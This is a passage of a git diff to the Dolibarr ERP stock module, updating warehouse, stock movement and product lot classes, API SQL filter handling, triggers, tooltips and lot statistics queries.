0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, ($socid > 0 ? $socid : -1), $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -839,7 +839,7 @@ if ($action == 'create') { /* - * Edition fiche + * Edit */ if ($action == 'edit' || $action == 're-edit') { $langs->trans("WarehouseEdit"); @@ -945,7 +945,7 @@ if ($action == 'create') { foreach ($cats as $cat) { $arrayselected[] = $cat->id; } - print img_picto('', 'category').$form->multiselectarray('categories', $cate_arbo, $arrayselected, '', 0, 'quatrevingtpercent widthcentpercentminusx', 0, 0); + print img_picto('', 'category', 'class="pictofixedwidth"').$form->multiselectarray('categories', $cate_arbo, $arrayselected, '', 0, 'quatrevingtpercent widthcentpercentminusx', 0, 0); print ""; } diff --git a/htdocs/product/stock/class/api_stockmovements.class.php b/htdocs/product/stock/class/api_stockmovements.class.php index 544485060af..5250913a5f6 100644 --- a/htdocs/product/stock/class/api_stockmovements.class.php +++ b/htdocs/product/stock/class/api_stockmovements.class.php @@ -110,11 +110,10 @@ class StockMovements extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -162,8 +161,8 @@ class StockMovements extends DolibarrApi * @param float $qty Qty to add (Use negative value for a stock decrease) {@from body} {@required true} * @param int $type Optionally specify the type of movement. 0=input (stock increase by a stock transfer), 1=output (stock decrease by a stock transfer), 2=output (stock decrease), 3=input (stock increase). {@from body} {@type int} * @param string $lot Lot {@from body} - * @param string $movementcode Movement code {@example INV123} {@from body} - * @param string $movementlabel Movement label {@example Inventory number 123} {@from body} + * @param string $movementcode Movement code {@from body} + * @param string $movementlabel Movement label {@from body} * @param string $price To update AWP (Average Weighted Price) when you make a stock increase (qty must be higher then 0). {@from body} * @param string $datem Date of movement {@from body} {@type date} * @param string $dlc Eat-by date. {@from body} {@type date} diff --git a/htdocs/product/stock/class/api_warehouses.class.php b/htdocs/product/stock/class/api_warehouses.class.php index 0cf0e57fe3a..a0646598d96 100644 --- a/htdocs/product/stock/class/api_warehouses.class.php +++ b/htdocs/product/stock/class/api_warehouses.class.php @@ -117,11 +117,10 @@ class Warehouses extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); diff --git a/htdocs/product/stock/class/entrepot.class.php b/htdocs/product/stock/class/entrepot.class.php index b47430bffc2..2abe2007175 100644 --- a/htdocs/product/stock/class/entrepot.class.php +++ b/htdocs/product/stock/class/entrepot.class.php @@ -125,11 +125,10 @@ class Entrepot extends CommonObject 'rowid' =>array('type'=>'integer', 'label'=>'ID', 'enabled'=>1, 'visible'=>0, 'notnull'=>1, 'position'=>10), 'entity' =>array('type'=>'integer', 'label'=>'Entity', 'enabled'=>1, 'visible'=>0, 'default'=>1, 'notnull'=>1, 'index'=>1, 'position'=>15), 'ref' =>array('type'=>'varchar(255)', 'label'=>'Ref', 'enabled'=>1, 'visible'=>1, 'showoncombobox'=>1, 'position'=>25, 'searchall'=>1), - 'entity' =>array('type'=>'integer', 'label'=>'Entity', 'enabled'=>1, 'visible'=>0, 'notnull'=>1, 'position'=>30), 'description' =>array('type'=>'text', 'label'=>'Description', 'enabled'=>1, 'visible'=>-2, 'position'=>35, 'searchall'=>1), 'lieu' =>array('type'=>'varchar(64)', 'label'=>'LocationSummary', 'enabled'=>1, 'visible'=>1, 'position'=>40, 'showoncombobox'=>2, 'searchall'=>1), - 'fk_parent' =>array('type'=>'integer:Entrepot:product/stock/class/entrepot.class.php:1:statut=1 AND entity IN (__SHARED_ENTITIES__)', 'label'=>'ParentWarehouse', 'enabled'=>1, 'visible'=>-2, 'position'=>41), - 'fk_project' =>array('type'=>'integer:Project:projet/class/project.class.php:1:fk_statut=1', 'label'=>'Project', 'enabled'=>'$conf->project->enabled', 'visible'=>-1, 'position'=>25), + 'fk_parent' =>array('type'=>'integer:Entrepot:product/stock/class/entrepot.class.php:1:((statut:=:1) AND (entity:IN:__SHARED_ENTITIES__))', 'label'=>'ParentWarehouse', 'enabled'=>1, 'visible'=>-2, 'position'=>41), + 'fk_project' =>array('type'=>'integer:Project:projet/class/project.class.php:1:(fk_statut:=:1)', 'label'=>'Project', 'enabled'=>'$conf->project->enabled', 'visible'=>-1, 'position'=>25), 'address' =>array('type'=>'varchar(255)', 'label'=>'Address', 'enabled'=>1, 'visible'=>-2, 'position'=>45, 'searchall'=>1), 'zip' =>array('type'=>'varchar(10)', 'label'=>'Zip', 'enabled'=>1, 'visible'=>-2, 'position'=>50, 'searchall'=>1), 'town' =>array('type'=>'varchar(50)', 'label'=>'Town', 'enabled'=>1, 'visible'=>-2, 'position'=>55, 'searchall'=>1), @@ -142,7 +141,7 @@ class Entrepot extends CommonObject 'tms' =>array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>301), //'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>-2, 'position'=>1000), //'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'ModelPDF', 'enabled'=>1, 'visible'=>0, 'position'=>1010), - 'statut' =>array('type'=>'tinyint(4)', 'label'=>'Status', 'enabled'=>1, 'visible'=>1, 'position'=>500), + 'statut' =>array('type'=>'tinyint(4)', 'label'=>'Status', 'enabled'=>1, 'visible'=>1, 'position'=>500, 'css'=>'minwidth50'), ); /** @@ -151,15 +150,21 @@ class Entrepot extends CommonObject const STATUS_CLOSED = 0; /** - * Warehouse open and operations for customer shipping, supplier dispatch, internal stock transfers/corrections allowed. + * Warehouse open and any operations are allowed (customer shipping, supplier dispatch, internal stock transfers/corrections). */ const STATUS_OPEN_ALL = 1; /** - * Warehouse open and operations for stock transfers/corrections allowed (not for customer shipping and supplier dispatch). + * Warehouse open and only operations for stock transfers/corrections allowed (not for customer shipping and supplier dispatch). */ const STATUS_OPEN_INTERNAL = 2; + /** + * Warehouse open and any operations are allowed, but warehouse is not included into calculation of stock. + */ + const STATUS_OPENEXT_ALL = 3; // TODO Implement this + + /** * Constructor @@ -183,16 +188,17 @@ class Entrepot extends CommonObject /** * Creation d'un entrepot en base * - * @param User $user Object user that create the warehouse + * @param User $user Object user that create the warehouse + * @param bool $notrigger false=launch triggers after, true=disable triggers * @return int >0 if OK, =<0 if KO */ - public function create($user) + public function create($user, $notrigger = false) { global $conf; $error = 0; - $this->label = trim(!empty($this->label) ? $this->label : $this->libelle); + $this->label = trim($this->label); // Error if label not defined if ($this->label == '') { @@ -223,14 +229,21 @@ class Entrepot extends CommonObject // Actions on extra fields if (!$error) { - if (!$error) { - $result = $this->insertExtraFields(); - if ($result < 0) { - $error++; - } + $result = $this->insertExtraFields(); + if ($result < 0) { + $error++; } } + if (!$error && !$notrigger) { + // Call triggers + $result = $this->call_trigger('WAREHOUSE_CREATE', $user); + if ($result < 0) { + $error++; + } + // End call triggers + } + if (!$error) { $this->db->commit(); return $id; @@ -255,11 +268,12 @@ class Entrepot extends CommonObject /** * Update properties of a warehouse * - * @param int $id id of warehouse to modify - * @param User $user User object + * @param int $id id of warehouse to modify + * @param User $user User object + * @param bool $notrigger false=launch triggers after, true=disable trigge * @return int >0 if OK, <0 if KO */ - public function update($id, $user) + public function update($id, $user, $notrigger = false) { global $conf; @@ -268,9 +282,6 @@ class Entrepot extends CommonObject if (empty($id)) { $id = $this->id; } - if (empty($this->label)) { - $this->label = $this->libelle; // For backward compatibility - } // Check if new parent is already a child of current warehouse if (!empty($this->fk_parent)) { @@ -282,7 +293,7 @@ class Entrepot extends CommonObject } } - $this->label = trim(!empty($this->label) ? $this->label : $this->libelle); + $this->label = trim($this->label); $this->description = trim($this->description); @@ -325,6 +336,15 @@ class Entrepot extends CommonObject } } + if (!$error && !$notrigger) { + // Call triggers + $result = $this->call_trigger('WAREHOUSE_MODIFY', $user); + if ($result < 0) { + $error++; + } + // End call triggers + } + if (!$error) { $this->db->commit(); return 1; @@ -462,7 +482,6 @@ class Entrepot extends CommonObject $this->fk_project = $obj->fk_project; $this->ref = $obj->label; $this->label = $obj->label; - $this->libelle = $obj->label; // deprecated $this->description = $obj->description; $this->statut = $obj->statut; $this->lieu = $obj->lieu; @@ -564,7 +583,7 @@ class Entrepot extends CommonObject /** * Return number of unique different product into a warehouse * - * @return Array Array('nb'=>Nb, 'value'=>Value) + * @return array|int Array('nb'=>Nb, 'value'=>Value) */ public function nb_different_products() { @@ -595,7 +614,7 @@ class Entrepot extends CommonObject /** * Return stock and value of warehosue * - * @return Array Array('nb'=>Nb, 'value'=>Value) + * @return array|int Array('nb'=>Nb, 'value'=>Value) */ public function nb_products() { @@ -675,6 +694,34 @@ class Entrepot extends CommonObject return dolGetStatus($label, $labelshort, '', $statusType, $mode); } + /** + * getTooltipContentArray + * + * @param array $params Params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + + $langs->load('stocks'); + + $datas = []; + if (!empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { + return ['optimize' => $langs->trans("Warehouse")]; + } + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Warehouse").''; + if (isset($this->statut)) { + $datas['picto'] .= ' '.$this->getLibStatut(5); + } + $datas['ref'] = '
      '.$langs->trans('Ref').': '.(empty($this->ref) ? $this->label : $this->ref); + if (!empty($this->lieu)) { + $datas['locationsummary'] = '
      '.$langs->trans('LocationSummary').': '.$this->lieu; + } + + return $datas; + } /** * Return clickable name (possibility with the pictogram) @@ -701,14 +748,19 @@ class Entrepot extends CommonObject } $result = ''; - - $label = img_picto('', $this->picto).' '.$langs->trans("Warehouse").''; - if (isset($this->statut)) { - $label .= ' '.$this->getLibStatut(5); - } - $label .= '
      '.$langs->trans('Ref').': '.(empty($this->ref) ? (empty($this->label) ? $this->libelle : $this->label) : $this->ref); - if (!empty($this->lieu)) { - $label .= '
      '.$langs->trans('LocationSummary').': '.$this->lieu; + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = DOL_URL_ROOT.'/product/stock/card.php?id='.$this->id; @@ -730,8 +782,8 @@ class Entrepot extends CommonObject $label = $langs->trans("Warehouse"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.'"'; } $linkstart = 'picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { - $result .= (($showfullpath || !empty($conf->global->STOCK_ALWAYS_SHOW_FULL_ARBO)) ? $this->get_full_arbo() : (empty($this->label) ? $this->libelle : $this->label)); + $result .= (($showfullpath || !empty($conf->global->STOCK_ALWAYS_SHOW_FULL_ARBO)) ? $this->get_full_arbo() : $this->label); } $result .= $linkend; @@ -799,7 +851,7 @@ class Entrepot extends CommonObject // phpcs:enable global $user, $langs, $conf; - $TArbo = array(empty($this->label) ? $this->libelle : $this->label); + $TArbo = array($this->label); $protection = 100; // We limit depth of warehouses to 100 @@ -895,12 +947,46 @@ class Entrepot extends CommonObject * Adds it to non existing supplied categories. * Existing categories are left untouch. * - * @param int[]|int $categories Category or categories IDs - * @return void + * @param int[]|int $categories Category or categories IDs + * @return int <0 if KO, >0 if OK */ public function setCategories($categories) { require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; return parent::setCategoriesCommon($categories, Categorie::TYPE_WAREHOUSE); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= '
      '; + $return .= img_picto('', $this->picto); + $return .= '
      '; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref).''; + $return .= ''; + if (property_exists($this, 'lieu') && (!empty($this->lieu))) { + $return .= '
      '.$this->lieu.''; + } + if (property_exists($this, 'sellvalue') && $this->sellvalue != 0) { + $return .= '
      '.price($this->sellvalue).''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/product/stock/class/mouvementstock.class.php b/htdocs/product/stock/class/mouvementstock.class.php index 282f09e276e..8ab5ff77da4 100644 --- a/htdocs/product/stock/class/mouvementstock.class.php +++ b/htdocs/product/stock/class/mouvementstock.class.php @@ -46,10 +46,18 @@ class MouvementStock extends CommonObject */ public $product_id; + /** + * @var int ID warehouse + * @deprecated + * @see $warehouse_id + */ + public $entrepot_id; + /** * @var int ID warehouse */ public $warehouse_id; + public $qty; /** @@ -104,6 +112,9 @@ class MouvementStock extends CommonObject public $inventorycode; public $batch; + public $line_id_object_src; + public $line_id_object_origin; + public $fields = array( 'rowid' =>array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>10, 'showoncombobox'=>1), @@ -119,12 +130,12 @@ class MouvementStock extends CommonObject 'fk_origin' =>array('type'=>'integer', 'label'=>'Fk origin', 'enabled'=>1, 'visible'=>-1, 'position'=>60), 'origintype' =>array('type'=>'varchar(32)', 'label'=>'Origintype', 'enabled'=>1, 'visible'=>-1, 'position'=>65), 'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>1, 'visible'=>0, 'position'=>70), - 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:fk_statut=1', 'label'=>'Project', 'enabled'=>'$conf->project->enabled', 'visible'=>-1, 'notnull'=>1, 'position'=>75), + 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:(fk_statut:=:1)', 'label'=>'Project', 'enabled'=>'$conf->project->enabled', 'visible'=>-1, 'notnull'=>1, 'position'=>75), 'inventorycode' =>array('type'=>'varchar(128)', 'label'=>'InventoryCode', 'enabled'=>1, 'visible'=>-1, 'position'=>80), 'batch' =>array('type'=>'varchar(30)', 'label'=>'Batch', 'enabled'=>1, 'visible'=>-1, 'position'=>85), 'eatby' =>array('type'=>'date', 'label'=>'Eatby', 'enabled'=>1, 'visible'=>-1, 'position'=>90), 'sellby' =>array('type'=>'date', 'label'=>'Sellby', 'enabled'=>1, 'visible'=>-1, 'position'=>95), - 'fk_project' =>array('type'=>'integer:Project:projet/class/project.class.php:1:fk_statut=1', 'label'=>'Fk project', 'enabled'=>1, 'visible'=>-1, 'position'=>100), + 'fk_project' =>array('type'=>'integer:Project:projet/class/project.class.php:1:(fk_statut:=:1)', 'label'=>'Fk project', 'enabled'=>1, 'visible'=>-1, 'position'=>100), ); @@ -360,6 +371,8 @@ class MouvementStock extends CommonObject } } else { // If not found, we add record $productlot = new Productlot($this->db); + $productlot->origin = !empty($this->origin) ? (empty($this->origin->origin_type) ? $this->origin->element : $this->origin->origin_type) : ''; + $productlot->origin_id = !empty($this->origin) ? $this->origin->id : 0; $productlot->entity = $conf->entity; $productlot->fk_product = $fk_product; $productlot->batch = $batch; @@ -383,7 +396,7 @@ class MouvementStock extends CommonObject // Check if stock is enough when qty is < 0 // Note that qty should be > 0 with type 0 or 3, < 0 with type 1 or 2. - if ($movestock && $qty < 0 && empty($conf->global->STOCK_ALLOW_NEGATIVE_TRANSFER)) { + if ($movestock && $qty < 0 && !getDolGlobalInt('STOCK_ALLOW_NEGATIVE_TRANSFER')) { if (isModEnabled('productbatch') && $product->hasbatch() && !$skip_batch) { $foundforbatch = 0; $qtyisnotenough = 0; @@ -834,7 +847,7 @@ class MouvementStock extends CommonObject $sql .= " WHERE fk_product = ".((int) $productidselected); $sql .= " AND datem < '".$this->db->idate($datebefore)."'"; - dol_syslog(get_class($this).__METHOD__.'', LOG_DEBUG); + dol_syslog(get_class($this).__METHOD__, LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { $obj = $this->db->fetch_object($resql); @@ -1002,13 +1015,17 @@ class MouvementStock extends CommonObject * * @param string $origin_element Type of element * @param int $origin_id Id of element + * @param int $line_id_object_src Id line of element Source + * @param int $line_id_object_origin Id line of element Origin * * @return void */ - public function setOrigin($origin_element, $origin_id) + public function setOrigin($origin_element, $origin_id, $line_id_object_src = 0, $line_id_object_origin = 0) { $this->origin_type = $origin_element; $this->origin_id = $origin_id; + $this->line_id_oject_src = $line_id_object_src; + $this->line_id_oject_origin = $line_id_object_origin; // For backward compatibility $this->origintype = $origin_element; $this->fk_origin = $origin_id; @@ -1094,6 +1111,13 @@ class MouvementStock extends CommonObject $label .= '
      '; $label .= ''.$langs->trans('Label').': '.$this->label; $label .= '
      '.$langs->trans('Qty').': '.($this->qty > 0 ? '+' : '').$this->qty; + if ($this->batch) { + $label .= '
      '.$langs->trans('Batch').': '.$this->batch; + } + /* TODO Get also warehouse label in a property instead of id + if ($this->warehouse_id > 0) { + $label .= '
      '.$langs->trans('Warehouse').': '.$this->warehouse_id; + }*/ $label .= '
      '; // Link to page of warehouse tab diff --git a/htdocs/product/stock/class/productlot.class.php b/htdocs/product/stock/class/productlot.class.php index 7009d0d55fc..58328197d3f 100644 --- a/htdocs/product/stock/class/productlot.class.php +++ b/htdocs/product/stock/class/productlot.class.php @@ -3,7 +3,8 @@ * Copyright (C) 2014 Juanjo Menent * Copyright (C) 2015 Florian Henry * Copyright (C) 2015 Raphaël Doursenaud - * Copyright (C) 2018 Frédéric France + * Copyright (C) 2018-2022 Frédéric France + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -97,6 +98,8 @@ class Productlot extends CommonObject //'commissionning_date' => array('type'=>'date', 'label'=>'FirstUseDate', 'enabled'=>'empty($conf->global->PRODUCT_ENABLE_TRACEABILITY)?0:1', 'visible'=>5, 'position'=>100), //'qc_frequency' => array('type'=>'varchar(6)', 'label'=>'QCFrequency', 'enabled'=>'empty($conf->global->PRODUCT_ENABLE_QUALITYCONTROL)?1:0', 'visible'=>5, 'position'=>110), 'eatby' => array('type'=>'date', 'label'=>'EatByDate', 'enabled'=>'empty($conf->global->PRODUCT_DISABLE_EATBY)?1:0', 'visible'=>5, 'position'=>62), + 'model_pdf' => array('type' => 'varchar(255)', 'label' => 'Model pdf', 'enabled' => 1, 'visible' => 0, 'position' => 215), + 'last_main_doc' => array('type' => 'varchar(255)', 'label' => 'LastMainDoc', 'enabled' => 1, 'visible' => -1, 'position' => 310), 'datec' => array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>1, 'visible'=>1, 'notnull'=>1, 'position'=>500), 'tms' => array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>501), 'fk_user_creat' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>510, 'foreignkey'=>'llx_user.rowid'), @@ -110,10 +113,13 @@ class Productlot extends CommonObject public $entity; /** - * @var int ID + * @var int Product ID */ public $fk_product; + /** + * @var string batch ref + */ public $batch; public $eatby = ''; public $sellby = ''; @@ -126,15 +132,18 @@ class Productlot extends CommonObject public $tms = ''; /** - * @var int ID + * @var int user ID */ public $fk_user_creat; /** - * @var int ID + * @var int user ID */ public $fk_user_modif; + /** + * @var string import key + */ public $import_key; @@ -241,9 +250,6 @@ class Productlot extends CommonObject } if (!$error && !$notrigger) { - // Uncomment this and change MYOBJECT to your own tag if you - // want this action to call a trigger. - // Call triggers $result = $this->call_trigger('PRODUCTLOT_CREATE', $user); if ($result < 0) { @@ -291,6 +297,8 @@ class Productlot extends CommonObject $sql .= " t.scrapping_date,"; //$sql .= " t.commissionning_date,"; //$sql .= " t.qc_frequency,"; + $sql .= " t.model_pdf,"; + $sql .= " t.last_main_doc,"; $sql .= " t.datec,"; $sql .= " t.tms,"; $sql .= " t.fk_user_creat,"; @@ -325,6 +333,8 @@ class Productlot extends CommonObject $this->scrapping_date = $this->db->jdate($obj->scrapping_date); //$this->commissionning_date = $this->db->jdate($obj->commissionning_date); //$this->qc_frequency = $obj->qc_frequency; + $this->model_pdf = $obj->model_pdf; + $this->last_main_doc = $obj->last_main_doc; $this->datec = $this->db->jdate($obj->datec); $this->tms = $this->db->jdate($obj->tms); @@ -551,6 +561,289 @@ class Productlot extends CommonObject } } + /** + * Charge tableau des stats expedition pour le lot/numéro de série + * + * @param int $socid Id societe + * @return int Array of stats in $this->stats_expedition, <0 if ko or >0 if ok + */ + public function loadStatsExpedition($socid = 0) + { + // phpcs:enable + global $db, $conf, $user, $hookmanager, $action; + + $sql = "SELECT COUNT(DISTINCT exp.fk_soc) as nb_customers, COUNT(DISTINCT exp.rowid) as nb,"; + $sql .= " COUNT(ed.rowid) as nb_rows, SUM(edb.qty) as qty"; + $sql .= " FROM ".$this->db->prefix()."expeditiondet_batch as edb"; + $sql .= " INNER JOIN ".$this->db->prefix()."expeditiondet as ed ON (ed.rowid = edb.fk_expeditiondet)"; + $sql .= " INNER JOIN ".$this->db->prefix()."expedition as exp ON (exp.rowid = ed.fk_expedition)"; + // $sql .= ", ".$this->db->prefix()."societe as s"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", ".$this->db->prefix()."societe_commerciaux as sc"; + } + $sql .= " WHERE exp.entity IN (".getEntity('expedition').")"; + $sql .= " AND edb.batch = '".($this->db->escape($this->batch))."'"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= " AND exp.fk_soc = sc.fk_soc AND sc.fk_user = ".((int) $user->id); + } + //$sql.= " AND exp.fk_statut != 0"; + if ($socid > 0) { + $sql .= " AND exp.fk_soc = ".((int) $socid); + } + + $result = $this->db->query($sql); + if ($result) { + $obj = $this->db->fetch_object($result); + $this->stats_expedition['customers'] = $obj->nb_customers; + $this->stats_expedition['nb'] = $obj->nb; + $this->stats_expedition['rows'] = $obj->nb_rows; + $this->stats_expedition['qty'] = $obj->qty ? $obj->qty : 0; + + + // Virtual products can't be used with kits (see langs with key ErrorNoteAlsoThatSubProductCantBeFollowedByLot) + + // if it's a virtual product, maybe it is in invoice by extension + // if (!empty($conf->global->PRODUCT_STATS_WITH_PARENT_PROD_IF_INCDEC)) { + // $TFather = $this->getFather(); + // if (is_array($TFather) && !empty($TFather)) { + // foreach ($TFather as &$fatherData) { + // $pFather = new Product($this->db); + // $pFather->id = $fatherData['id']; + // $qtyCoef = $fatherData['qty']; + // + // if ($fatherData['incdec']) { + // $pFather->loadStatsExpedition($socid); + // + // $this->stats_expedition['customers'] += $pFather->stats_expedition['customers']; + // $this->stats_expedition['nb'] += $pFather->stats_expedition['nb']; + // $this->stats_expedition['rows'] += $pFather->stats_expedition['rows']; + // $this->stats_expedition['qty'] += $pFather->stats_expedition['qty'] * $qtyCoef; + // } + // } + // } + // } + + $parameters = array('socid' => $socid); + $reshook = $hookmanager->executeHooks('loadStatsLotExpedition', $parameters, $this, $action); + if ($reshook > 0) { + $this->stats_expedition = $hookmanager->resArray['stats_expedition']; + } + + return 1; + } else { + $this->error = $this->db->error(); + return -1; + } + } + + /** + * Charge tableau des stats commande fournisseur pour le lot/numéro de série + * + * @param int $socid Id societe + * @return int Array of stats in $this->stats_expedition, <0 if ko or >0 if ok + */ + public function loadStatsSupplierOrder($socid = 0) + { + // phpcs:enable + global $db, $conf, $user, $hookmanager, $action; + + $sql = "SELECT COUNT(DISTINCT cf.fk_soc) as nb_customers, COUNT(DISTINCT cf.rowid) as nb,"; + $sql .= " COUNT(cfd.rowid) as nb_rows, SUM(cfdi.qty) as qty"; + $sql .= " FROM ".$this->db->prefix()."commande_fournisseur_dispatch as cfdi"; + $sql .= " INNER JOIN ".$this->db->prefix()."commande_fournisseurdet as cfd ON (cfd.rowid = cfdi.fk_commandefourndet)"; + $sql .= " INNER JOIN ".$this->db->prefix()."commande_fournisseur as cf ON (cf.rowid = cfd.fk_commande)"; + // $sql .= ", ".$this->db->prefix()."societe as s"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", ".$this->db->prefix()."societe_commerciaux as sc"; + } + $sql .= " WHERE cf.entity IN (".getEntity('expedition').")"; + $sql .= " AND cfdi.batch = '".($this->db->escape($this->batch))."'"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= " AND cf.fk_soc = sc.fk_soc AND sc.fk_user = ".((int) $user->id); + } + //$sql.= " AND cf.fk_statut != 0"; + if ($socid > 0) { + $sql .= " AND cf.fk_soc = ".((int) $socid); + } + + $result = $this->db->query($sql); + if ($result) { + $obj = $this->db->fetch_object($result); + $this->stats_supplier_order['customers'] = $obj->nb_customers; + $this->stats_supplier_order['nb'] = $obj->nb; + $this->stats_supplier_order['rows'] = $obj->nb_rows; + $this->stats_supplier_order['qty'] = $obj->qty ? $obj->qty : 0; + + + // Virtual products can't be used with kits (see langs with key ErrorNoteAlsoThatSubProductCantBeFollowedByLot) + + // if it's a virtual product, maybe it is in invoice by extension + // if (!empty($conf->global->PRODUCT_STATS_WITH_PARENT_PROD_IF_INCDEC)) { + // $TFather = $this->getFather(); + // if (is_array($TFather) && !empty($TFather)) { + // foreach ($TFather as &$fatherData) { + // $pFather = new Product($this->db); + // $pFather->id = $fatherData['id']; + // $qtyCoef = $fatherData['qty']; + // + // if ($fatherData['incdec']) { + // $pFather->stats_supplier_order($socid); + // + // $this->stats_supplier_order['customers'] += $pFather->stats_supplier_order['customers']; + // $this->stats_supplier_order['nb'] += $pFather->stats_supplier_order['nb']; + // $this->stats_supplier_order['rows'] += $pFather->stats_supplier_order['rows']; + // $this->stats_supplier_order['qty'] += $pFather->stats_supplier_order['qty'] * $qtyCoef; + // } + // } + // } + // } + + $parameters = array('socid' => $socid); + $reshook = $hookmanager->executeHooks('loadStatsLotSupplierOrder', $parameters, $this, $action); + if ($reshook > 0) { + $this->stats_supplier_order = $hookmanager->resArray['stats_supplier_order']; + } + + return 1; + } else { + $this->error = $this->db->error(); + return -1; + } + } + + /** + * Charge tableau des stats expedition pour le lot/numéro de série + * + * @param int $socid Id societe + * @return int Array of stats in $this->stats_expedition, <0 if ko or >0 if ok + */ + public function loadStatsReception($socid = 0) + { + // phpcs:enable + global $db, $conf, $user, $hookmanager, $action; + + $sql = "SELECT COUNT(DISTINCT recep.fk_soc) as nb_customers, COUNT(DISTINCT recep.rowid) as nb,"; + $sql .= " COUNT(cfdi.rowid) as nb_rows, SUM(cfdi.qty) as qty"; + $sql .= " FROM ".$this->db->prefix()."commande_fournisseur_dispatch as cfdi"; + $sql .= " INNER JOIN ".$this->db->prefix()."reception as recep ON (recep.rowid = cfdi.fk_reception)"; + // $sql .= ", ".$this->db->prefix()."societe as s"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", ".$this->db->prefix()."societe_commerciaux as sc"; + } + $sql .= " WHERE recep.entity IN (".getEntity('reception').")"; + $sql .= " AND cfdi.batch = '".($this->db->escape($this->batch))."'"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= " AND recep.fk_soc = sc.fk_soc AND sc.fk_user = ".((int) $user->id); + } + //$sql.= " AND exp.fk_statut != 0"; + if ($socid > 0) { + $sql .= " AND recep.fk_soc = ".((int) $socid); + } + + $result = $this->db->query($sql); + if ($result) { + $obj = $this->db->fetch_object($result); + $this->stats_reception['customers'] = $obj->nb_customers; + $this->stats_reception['nb'] = $obj->nb; + $this->stats_reception['rows'] = $obj->nb_rows; + $this->stats_reception['qty'] = $obj->qty ? $obj->qty : 0; 